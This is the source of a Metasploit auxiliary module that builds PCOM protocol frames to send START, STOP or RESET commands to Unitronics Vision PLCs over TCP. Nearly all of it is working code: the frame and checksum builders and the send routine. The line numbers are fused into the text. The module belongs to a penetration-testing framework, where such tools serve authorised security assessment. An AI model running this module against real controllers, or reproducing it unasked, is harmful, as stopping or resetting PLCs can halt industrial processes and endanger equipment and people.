Path: blob/master/modules/auxiliary/admin/scada/pcom_command.rb
19612 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary67include Msf::Exploit::Remote::Tcp8include Rex::Socket::Tcp9include Rex::Text1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Unitronics PCOM remote START/STOP/RESET command',16'Description' => %q{17Unitronics Vision PLCs allow remote administrative functions to control18the PLC using authenticated PCOM commands.1920This module supports START, STOP and RESET operations.21},22'Author' => [23'Luis Rosa <lmrosa[at]dei.uc.pt>'24],25'License' => MSF_LICENSE,26'References' => [27[ 'URL', 'https://unitronicsplc.com/Download/SoftwareUtilities/Unitronics%20PCOM%20Protocol.pdf' ]28],29'Notes' => {30'Stability' => [CRASH_SERVICE_RESTARTS],31'SideEffects' => [IOC_IN_LOGS],32'Reliability' => []33}34)35)3637register_options(38[39OptEnum.new('MODE', [true, 'PLC command', 'RESET', ['START', 'STOP', 'RESET']]),40Opt::RPORT(20256),41OptInt.new('UNITID', [ false, 'Unit ID (0 - 127)', 0]),42]43)44end4546# compute and return the checksum of a PCOM ASCII message47def pcom_ascii_checksum(msg)48(msg.each_byte.inject(:+) % 256).to_s(16).upcase.rjust(2, '0')49end5051# compute pcom length52def pcom_ascii_len(pcom_ascii)53Rex::Text.hex_to_raw(pcom_ascii.length.to_s(16).rjust(4, '0').unpack('H4H4').reverse.pack('H4H4'))54end5556# return a pcom ascii formatted request57def pcom_ascii_request(command)58unit_id = datastore['UNITID'].to_s(16).rjust(2, '0')59# PCOM/ASCII60pcom_ascii_payload = '' \61"\x2f" + # '/'62unit_id +63command +64pcom_ascii_checksum(unit_id + command) + # checksum65"\x0d" # '\r'6667# PCOM/TCP header68Rex::Text.rand_text_hex(2) + # transaction id69"\x65" + # ascii (101)70"\x00" + # reserved71pcom_ascii_len(pcom_ascii_payload) + # length72pcom_ascii_payload73end7475def run76connect77case datastore['MODE']78when 'START'79print_status 'Sending START command'80ascii_code = "\x43\x43\x52" # CCR81when 'STOP'82print_status 'Sending STOP command'83ascii_code = "\x43\x43\x53" # CCS84when 'RESET'85print_status 'Sending RESET command'86ascii_code = "\x43\x43\x45" # CCE87else88print_error 'Unknown MODE'89return90end9192sock.put(pcom_ascii_request(ascii_code))93ans = sock.get_once94if ans.to_s[10, 2] == 'CC'95print_status 'Command accepted'96end97disconnect98end99end100101102